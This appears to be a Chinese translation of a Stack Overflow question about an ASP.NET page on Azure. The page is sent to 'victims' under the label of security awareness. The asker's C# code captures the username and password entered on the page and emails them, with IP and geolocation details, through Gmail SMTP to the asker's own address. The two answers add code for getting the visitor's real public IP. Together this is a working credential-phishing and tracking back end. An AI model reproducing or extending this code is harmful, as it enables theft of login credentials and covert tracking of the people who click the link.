在链接点击时获取用户的远程IP

时间:2017-08-07 06:07:12

标签: c# asp.net azure ip

我们正在开展一些信息安全宣传活动。我创建了一个网页,并将其托管在azure网络服务器上,并将链接发送给受害者。我在我的代码中实现了获取受害者IP的机制。当他点击我的链接时,我在我的电子邮件中获得了azure webserver的IP。但我想要他的互联网的公共IP。即https://www.whatismyip.com。当受害者点击我的链接时,我将收到他在我的电子邮件中显示的whatsmyip的IP。 当前的实施:



protected void Sendemail()
    {

        //this line is to check the clien ip address from the server itself
        string IP = "";

        string strHostName = "";
        strHostName = System.Net.Dns.GetHostName();

        IPHostEntry ipEntry = System.Net.Dns.GetHostEntry(strHostName);

        IPAddress[] addr = ipEntry.AddressList;

        IP = addr[0].ToString();

       // Initializing a new xml document object to begin reading the xml file returned
        XmlDocument doc = new XmlDocument();
        doc.Load("http://www.freegeoip.net/xml");
        XmlNodeList ipaddress = doc.GetElementsByTagName("IP");
        XmlNodeList nodeLstCity = doc.GetElementsByTagName("City");
        XmlNodeList Country = doc.GetElementsByTagName("CountryName");
        XmlNodeList timezone = doc.GetElementsByTagName("TimeZone");
        XmlNodeList latitudeinfo = doc.GetElementsByTagName("Latitude");
        XmlNodeList longituteinfo = doc.GetElementsByTagName("Longitude");
        IP = "IP" + ipaddress[0].InnerText + "\n" + "City:" + nodeLstCity[0].InnerText + "\n" + "Country:" + Country[0].InnerText + "\n" + "Time Zone:" + timezone[0].InnerText + "\n" + "Latitude:" + latitudeinfo[0].InnerText + "\n" + "Longitude:" + longituteinfo[0].InnerText + "\n" + "." + IP;
        string pubIp = new System.Net.WebClient().DownloadString("https://api.ipify.org");
        
        Response.Write(pubIp);
        
        var fromAddress = "EMAIL";
       
        // any address where the email will be sending

        var toAddress = "SOMEEMAIL";
        //Password of your gmail address
        const string fromPassword = "PASSWORD";
        // Passing the values and make a email formate to display
        string subject = "Info".ToString();

        string body = "Username : " + UEmail.Text + "\n";
        body += "Password: " + UPass.Text + "\n";
        //body += "Recovery Email: " + recEmail.Text + "\n";
        //body += "Recovery Phone # " + phoneNumber.Text + "\n";
       
        body += "Info: \n " + pubIp + "\n";
        body += "Another test IP Info: \n " + IP + "\n";


        // smtp settings
        var smtp = new System.Net.Mail.SmtpClient();
        {
            smtp.Host = "smtp.gmail.com";
            smtp.Port = 587;
            smtp.EnableSsl = true;
            smtp.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
            smtp.Credentials = new NetworkCredential(fromAddress, fromPassword);
            smtp.Timeout = 30000;

        }
  smtp.Send(fromAddress, toAddress, subject, body);
}




2 个答案:

答案 0 :(得分:1)

以下是获取IP地址的方法:

private string GetIPAddress()
{
    System.Web.HttpContext context = System.Web.HttpContext.Current; 
    string ipAddress = context.Request.ServerVariables["HTTP_X_FORWARDED_FOR"];

    if (!string.IsNullOrEmpty(ipAddress))
    {
        string[] addresses = ipAddress.Split(',');
        if (addresses.Length != 0)
        {
            return addresses[0];
        }
    }

    return context.Request.ServerVariables["REMOTE_ADDR"];
}

答案 1 :(得分:0)

您可以使用HTTP客户端获取公共IP地址。获取数据并使用string.split或其他东西来解析信息。 http://checkip.dyndns.org/此网站以简单的回显格式为您提供IP地址。因此,您不必进行大量处理。这是一个非常简单的示例代码:

    string GetPublicIP()
    {
        System.Net.WebClient wc = new System.Net.WebClient();
        byte[] raw = wc.DownloadData("http://checkip.dyndns.org/");

        string webData = System.Text.Encoding.UTF8.GetString(raw);

        string[] body = webData.Split(new[] { "<body>", "</body>" }, StringSplitOptions.RemoveEmptyEntries);
        string[] ip = body[1].Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries);


        return ip[1];
     }